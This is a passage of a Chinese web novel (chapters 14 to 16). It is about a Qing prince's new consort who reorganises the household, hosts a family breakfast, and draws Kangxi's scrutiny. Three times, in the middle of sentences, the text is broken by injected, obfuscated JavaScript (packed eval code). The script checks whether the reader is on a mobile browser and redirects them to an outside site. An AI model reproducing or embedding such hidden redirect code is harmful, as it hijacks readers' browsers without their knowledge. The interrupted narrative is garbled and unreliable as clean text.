布料有优有劣,手感、薄厚、色泽不同,众人喜欢的花纹、颜色也不同,因此即便是年年次次送布料,也能送出花样来,不会让人觉得敷衍。 “可以。” 既答应了吴雅格格,也不会拒绝钱格格。 淑娴笑盈盈的望向余下几位,不知这府里除了会织布的,还有擅长什么手艺的。 王格格和小吴雅格格互相看向彼此。 她们昨日回去后也有商量,福晋为正室,又抱养了大阿哥,除非自身出错,否则以王爷的性格,未来王府后院只会是福晋一家独大。 倘若能够靠上福晋,那自然好,只是不知道福晋容不容得下她们。 现在千好万好,日后呢。 其实在福晋进府之前,王格格是将筹码压到了小吴雅氏身上,以小吴雅氏的相貌,她一个女人看了都觉得惊艳,何况男子,将来在王爷那里总是要有几分宠的吧。 王格格选择将筹码压到小吴雅氏身上,是因为小吴雅氏的相貌,如今犹豫,也是因为小吴雅氏的相貌。 这样的美貌,福晋真能心宽到容下吗。 略作犹豫后,王格格终于起身。 “妾和小吴雅妹妹昨日按照福晋所说,将置办小厨房所需之物列了个名单,还请您过目。 除此之外,妾还想在院子里种些果木花草,不知是否可行。” 刚搬过来时,院子里便光秃秃的,什么花木都没有,那时忙着收拾整理,后来小吴雅格格进府,后又落水,再之后是王府忙着筹办王爷和福晋大婚,她也就一直没有顾上布置小院。 “可以,需要什么果木花草,也列个单子,下个月初一来请安时拿给我。” 淑娴不是要大包大揽,而是因为不管是她预备对正院进行的改造,还是对整个后院公共区域的规划,都是打算走公账的。 既然如此,其他人要改造规划院子,当然也应该走公账。 关格格内心里是不想受福晋这么大好处的,但机会实在难得。 “妾想在自己院子里设个箭亭,用来强身健体……行吗?” 她有这想法不是一日两日了,王爷每次来她这里都没什么话可说,也没什么事儿好聊,没有能打发时间的东西。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说到太监,以她对目前宫廷制度的粗浅了解,太监和宫女是不一样的。 宫女都出自上三旗包衣,大都有父有母,且都是有家族的,便是宫妃也不得随意处死宫女,等到了年龄,便可被放出宫去,倘若不愿,也可以自梳留在宫里做嬷嬷。 而太监……太监都是被卖进宫中的,没有人权,像宫廷中的消耗品,一旦被分配了主子,基本就定了一生。 即便主子垮台,也很难再另投明主,因为这宫里从来都不缺太监,大多数人也不想用旁人用过的。 她身边的赵嬷嬷和石榴、葡萄、小桃、山竹在这十年里都会被她安排到府外去,以免将来被连累扣在府里,失去自由。 毕竟她也不知道陪嫁宫女是否享有和普通宫女一样的待遇,石榴几个人也都不是上三旗的包衣,若是留下来,万一也做了这座王府的囚徒怎么办。 宫女到了年龄便能重获自由之身,但太监不可以,从长远来看,她需要启用和重用更多的太监。 淑娴的思绪已经飘向了别处,但屋子里的众人都还沉浸在对福晋大方的惊叹中。 是,那些屋子空着也是空着,不会给福晋带来任何的好处,设小厨房也好,让格格们各自改造自己的小院也好,所有的花销也都出自公中,而非福晋自掏腰包。 福晋不过是借花献佛,不过是在用府里的东西收买人心罢了。 可每一样的好处都是实实在在的,都关系到她们从今往后的生活,便是收买人心,福晋给出的‘价钱’也已经足够多了。 吴雅格格心中只有四个字——何德何能,她一个年老色衰又不得王爷喜欢的格格,何德何能被如此优待。 钱格格亦是心满意足,这两日在她人生的节点上说是柳暗花明也不为过了。 王格格则是五味杂陈,有懊悔,有不甘,有犹豫,有不确定。 早知新福晋如此,她便不会在小吴雅格格身上押注了,也就不会和小吴雅氏同住一个院子,谁又不想独住一院呢。 但小吴雅氏如此美貌,王爷只是如今还没有注意到,将来等王爷把目光放到小吴雅氏身上以后,王爷未必还能移得开。 到时候,虽不能和福晋分庭抗礼,但也能在这后院有一席之地,更重要的是,谁又敢保证福晋会一直这么宽和。 身为妾室,难道还能把后半生的安稳都寄托在正室嫡妻身上,嫡妻待妾室宽和的时候,她的日子便好过些,嫡妻看妾室不顺眼了,她就只能过苦日子。 小吴雅格格依旧紧张不安,整个王府,除了王姐姐,她谁都看不透,谁都不敢信,谁也不敢惹。 关格格内心焦灼,若是再晚个三年五载,她绝不会犹豫,也不会不甘做福晋的人,但是现在……她觉得她还有希望生下小阿哥,而有了小阿哥,将来未必不能做侧福晋。 眼下投了福晋,谁知道福晋是真宽和还是假宽和呢,她没有多少时间了,这几年若是生不了,将来就没机会了。 云氏、赵氏和秋娘三人心中油然而生的是‘士为知己者死’的感动和豪迈,先是磕头谢恩,后又立马表忠心。 “奴才谢福晋大恩,日后愿为福晋赴汤蹈火,在所不辞。” “行行行,都起来吧。” ‘赴汤蹈火’都出来了,妻妾变成了梁山好汉,正院偏厅成了忠义堂,总觉得画风好像跑偏了呢。 15. 第 15 章 直郡王在演武场待了一个半时辰,直到大汗淋漓,才在前院简单洗了澡,换上干净衣服去正院用早膳。 结果一进门,便见回廊里已经摆上了两桌,人也是难得的齐全。 妻妾儿女,一个没落。 直郡王:“……” 先不说把饭桌摆在回廊里合不合规矩,也不说今儿什么重要节日也不是福晋为何把众人聚起来,他就想问问弘昱为何在此。 “喂大阿哥吃的什么?不知道他还没断奶吗?”直郡王紧皱眉头,大跨步走到弘昱身旁。 福晋没有养孩子的经验也就算了,袁嬷嬷在此怎么也不拦着。 “回王爷,是——” “是小米粥。”淑娴从另一桌走过来,打断袁嬷嬷的话,“此事是臣妾做主,袁嬷嬷最初也是不同意的,但听完臣妾的理由后也觉得有道理,便没有阻拦。 臣妾记事早,而且家中幼弟也是臣妾看着长大的,他和臣妾都是一岁多便开始吃辅食了,最初是小米粥、鸡蛋羹、蔬菜泥、果泥,后来慢慢增加了肉糜、面条和比较清淡的蔬菜。 民间养孩子多是如此,不会让小孩子吃人乳吃到好几岁。 人乳固然有营养,可以满足新生儿所需,但随着小孩慢慢长大,所需要的营养成分会更多,这时候就需要加入辅食了。 您看臣妾,臣妾也是早产儿,额娘怀胎七个月便生了臣妾,生下来的时候指甲盖都没有长全,可如今王爷还能看出臣妾是早产儿吗。” 直郡王见福晋时的第一印象便是——健康,无论是肤色,还是身形,还是脸上呈现出来的气色,都足以看出福晋是个生命力旺盛的人。 看不出是早产儿,还是七个月的早产儿。 “能看得出来,岳母的确育儿有方,把福晋照顾得很好。先前是爷语气急了些,不过事关弘昱,他的饮食改动还是要先问过太医。” 直郡王顿了顿,补充道:“太医院的柳太医一直负责为弘昱看诊,福晋日后多与柳太医交流。” 淑娴颔首。 她其实已经很小心了,大阿哥两岁多,乳牙已经长了大半,按理已经可以咀嚼一部分食物了,但为了保险,她还是只让人给大阿哥准备了小米粥,旁的一样也没上。 但王爷的着急也是人之常情,这个年代小儿不好养,大阿哥的身体又瘦弱,听说过去两年里断断续续病过好几次,做家长的再怎么当心都不为过。 “福晋费心了,入座吧,难得今日人这样齐全。” 大格格小小的松了口气。 二格格长长的吐了口气。 三格格悬着的心也终于放了下来,嫡额娘对弘昱并没有恶意,先前不止同袁嬷嬷商量了,也同她们姐妹商量了。 给弘昱的那碗米粥里几乎没有多少米粒,全是黄澄澄的米汁,看着和水差不多,不会噎到弘昱的。 四格格也终于放松下来,阿玛平时已经看着很严肃了,皱起眉头来,那就更吓人了。 王爷的女儿们尚且如此,妾室们就更害怕了,偏偏王爷和福晋又是跟她们同席。 吴雅格格大气都不敢喘,低门顺眼地坐在福晋下首的位置,很是规矩。 关格格亦是正襟危坐,先前不管有多少小心思,这会儿也都收着了。 她上次和王爷一起用膳,还是三年前,先福晋在时的家宴上,距今时日已久,王爷又愈发的威严,她是一句话都不敢言。 钱格格也比先前略拘谨了些,福晋宽和,给人的感觉不像主子,倒像家中长辈,尽管这长辈的年纪比她还小。 可王爷就不一样了,王爷重规矩,人又严肃,而且说白了她们这些人的生死待遇全都在王爷的一念之间,面对王爷的时候,没办法不紧张。 王格格一半的心思都放在身旁的小吴雅氏身上,只见小吴雅氏腿在抖,手也在抖,脑袋都恨不得扎到桌子底下去。 这个不争气的,怕什么。 当初落水,这府里谁都有嫌疑,唯独王爷不可能,更何况王爷回来后还彻查了此事,杖杀了凶手不说,就连那两个没有照顾好小吴雅氏的宫女都被遣返回内务府了。 小吴雅氏就算不对王爷感激涕零、以心相许,也不至于怕成这样吧。 淑娴落座后左右扫了一眼,得,王爷来了就像老虎来了一样,震慑全场,左边几个秒变小猫,右边变兔子,末尾还坐了三只小鹌鹑。 要多老实就有多老实,头不往前边扭,眼神也不往前面飘。 全场都很安静,安静到有些压抑了。 淑娴打破安静:“今日是我加入这个大家庭的第二天,也是咱们第一顿团圆饭,相聚即是有缘,希望我们日后能够团结一心,把日子过好。” 话音刚落,身后站着的石榴和葡萄便习惯性的开始鼓掌,此是张家的传统,也不知是何时流传下来的,但从她们进府那日就有。 淑娴自己给自己鼓掌。 隔壁桌的二格格率先响应,呱唧呱唧的鼓起掌来。 紧跟着是吴雅格格,然后两桌的人也都跟着鼓起掌来。 屋里,正在休息的赵嬷嬷听见熟悉的掌声,不由得一笑,福晋打小便是如此,喜欢给人鼓掌,还让旁人鼓掌。 欢快的掌声里,淑娴凑到王爷耳边问道:“您要不要也说几句?难得人这么齐全,这还是臣妾到王府后的第一顿团圆饭。” 直郡王:“……” 他觉得福晋不像作为继福晋嫁进王府的,而是像一个初到军中历练的小将,整个人欢欣鼓舞,说起话来慷慨激昂。 “福晋年纪虽小,却是皇阿玛亲赐的嫡福晋,尔等日后要好生听福晋的话,不可逾矩。” 直郡王此言主要是针对五位格格,尤记得当年先福晋刚入宫时,吴雅氏还生过事。 可见这些格格的胆子之大,先福晋是他的原配尚且敢如此,而福晋是继室,家世和先福晋也不能比,焉知这些格格们会不会生事。 吴雅格格低着头,今日的好心情被破坏殆尽,王爷虽然没有指名道姓,但怕是府里的老人都清楚,王爷警告的是她。 当年她只做了一件错事,也未对先福 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450308|169463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晋造成什么伤害,却是在爷这里彻底失了宠。 后面那么多年,她自问对先福晋再没有不敬过,可王爷呢,却再未垂怜过她,或许从来也没有垂怜过。 也不只是她,这府里的女子,除了先福晋,又有哪个人曾被王爷放到心上过。 说是格格,享着格格的待遇,可她们这些人在王爷那里怕是和侍妾也没什么区别,不过是个暖床的。 关格格紧紧抿住唇,她跟了王爷七八年,自然明白王爷并非是说场面话,后院的人和事素来都是由福晋做主,先福晋在是如此,换了继福晋,依旧如此。 她还以为……以为王爷便是为了大阿哥,也会让王府后院处在一种平衡当中,而不是由一家独大。 可能只有等到王爷的第二个儿子出生,王爷才会考虑平衡福晋的势力吧。 钱格格波澜不惊,并没有因此而变得更紧张,王爷他向来如此,没有针对任何人,也没有偏心任何人,像个公正无私的将军,只是要求手下纪律严明罢了。 王格格一只手在桌子下面悄悄移过去,抓住小吴雅格格发抖的手。 心里面除了恨铁不成钢,还有几丝解脱,刚正肃穆如王爷,又怎么会喜欢一个见面都怕到浑身发抖的小格格。 再美的脸,配上这性子,也白瞎了。 淑娴见王爷已经开始喝粥了,显然已经结束了发言,便带头鼓起掌来,待掌声停下,才开口道:“谢谢王爷帮我撑场子,我初来乍到,有什么做的不对的地方,大家多担待。” 现在已经开始收拾的农田也好,她还在向王爷争取的鸡舍鸭舍也好,还有她的养鱼计划,都希望大家能够多担待。 这势必会破坏王府的美观,同时也会带来些许的噪音,带来一些不方便的地方。 但她仔细考虑过了,这件事情做在前面好过做在后面。 一来是时间更充足,准备的也会更全面。 二来,大家对新人的包容度更高,她初来乍到就搞这些,将来继续搞下去,也不会让人觉得奇怪了。 三来,不做些什么,她心慌。 这也是老毛病了,上一世也是如此,拼命挣钱,生怕有个意外的时候没钱花,停下来心里就不踏实,后来精神几近崩溃,也不是没有尝试过歇一歇,但歇下来反而压力更大,只能继续工作,身体和心理就是这么崩掉的。 这一世,在已经注定的结局到达之前,她希望能在这十年里储备足够多的物资,以及足够多的金银,以应对将来,以抚平心中不安。 吴雅格格在心里默默点头,担待担待,无论福晋做什么,她都担待支持拥护。 关格格偷偷瞄了王爷,只见王爷正在面无表情的吃烧麦,看着好像是不太高兴的样子。 钱格格已经吃的半饱的肚子好像又有些饿了,后院还是有个福晋好,先福晋好,现在的福晋也好,她心都是踏实的。 王格格紧紧抓着小吴雅格格的手,这便是妻和妾的不同吧,妾对王爷是不敢不怕,而妻……福晋在王爷身边可真自在,大婚才两日。 16.第 16 章 大格格收回看向阿玛和嫡额娘的目光,勉强维持着面上的微笑。 嫡额娘没错,阿玛也没错,可吉嬷嬷昨晚说的也没错。 她们要记得额娘,是额娘给了她们性命,辛苦冒险生下她们。 随着新福晋的到来,额娘存在过的痕迹会慢慢被磨去,连阿玛也会慢慢的忘了额娘,但她们不能忘记,要时时刻刻记得额娘,不忘额娘生养之恩。 尤其是她,弘昱没见过额娘几次,额娘走的时候,四妹妹还不记事,三妹妹记的也不多,而她是额娘的长女,和额娘相处的时间最久。 二格格咂摸着嘴巴里梅卤的味道,酸酸甜甜,还带着一丝丝咸味和梅子的味道,甚是可口,待她回去,中午也要点上这样一份被腌制过的梅子。 三格格已经吃的差不多了,有些无奈阿玛为何早些时候不来,偏偏这个时候来,她们这些吃完的人也不能起身,嫡额娘先前说了,今日要带她们一起踢毽子的。 四格格被身后的嬷嬷提醒着直起腰杆不能失仪后,忍不住扭头望向阿玛,阿玛到底何时才能用完膳。 袁嬷嬷小心将碗里的最后几口米汁喂给大阿哥,见大阿哥眼睛还紧紧盯着她手里已经空了的瓷碗,笑着哄道:“大阿哥乖,今天的已经喝完了,以后还有,咱们以后再喝。” 以后的日子还长,她看福晋是个会心疼孩子的,她们大阿哥从来都是个有福气的孩子。 ** 乾清宫。 “安排江南的人查查,直郡王福晋这些年在徐州的过往,京城这边也要查。”康熙将记录张氏这几日言行的折子扔到一旁,吩咐道。 这些记录并不全面,即便是皇家的密探,也没有办法记录下一个皇子福晋全部的言行。 在这份折子里,并没有保清和张氏关于是否生子的言谈记录,他也就无从得知,保清是早就有了这样的心思,还是受张氏影响,但后者的可能性并不大。 从这几日的记录上来看,张氏身上虽带了些武将人家的不拘小节,但总体还是个规矩之人,对上恭谨,对下宽和,对子女友善。 虽在毓庆宫的时候和八福晋郭络罗氏起了些许冲突,但责任也在郭络罗氏,而非张氏。 康熙狠狠拧着眉,郭络罗氏和老八成婚已经半年有余了,怎么还是如此没有规矩。 安郡王府的家教不行,老八这个一家之主也未免有些失责。 相比之下,保清的这道请假折子倒不算什么了。 在记录张氏言行的折子里,明明白白的写着,保清请婚假和一个月的婚假时间,都是张氏提议的。 张氏没有什么花言巧语,提出这两件事情的时候甚至连铺垫都没有,看上去不过是顺口一提。 保清之所以会答应,恐怕也是为了补偿张氏。 康熙重新拿起赵昌递上来的那道折子,反反复复看着保清昨日回去后和张氏单独的那段对话。 至亲至疏是夫妻,夫妻俩私下里的谈话,的确是可以说些旁人不敢提的。 张氏虽然是新嫁妇,但显然已经从妻子的角度在为保清考虑了,甚至在昨日便隐晦的劝保清万事莫强求,甚至用‘天有不测风云,人有旦夕祸福’为理由,劝说培养孩子们的意志力,做好将来庇佑不了孩子们的打算。 堂堂的皇长子,要在何等处境之下才会连自己的孩子都庇护不了。 张氏之言,哪怕是在私下里,都未免大大了些。 这也是他让人去调查张氏过往经历的原因,一个小小的徐州镇总兵官之女,婚后第一日便敢和保清谈及这些,到底是无知无畏,还是张家早就已经有女儿会嫁进皇家,甚至嫁给直郡王的准备。 当然,比起张氏一个儿媳,他更在意的是保清的回答。 寥寥数句,皆是心灰意冷的认命之言,不见昔日的雄心和锋芒。 是因为今年的封爵吗,还是因为伊尔根觉罗氏之死。 自丧妻后,保清便沉稳了许多,这本是人之常情,但也万不能因为一个女人的死而没了雄心,保清不该是这样的人。 赵昌调查了伊尔根觉罗氏缠绵病榻那几日的经过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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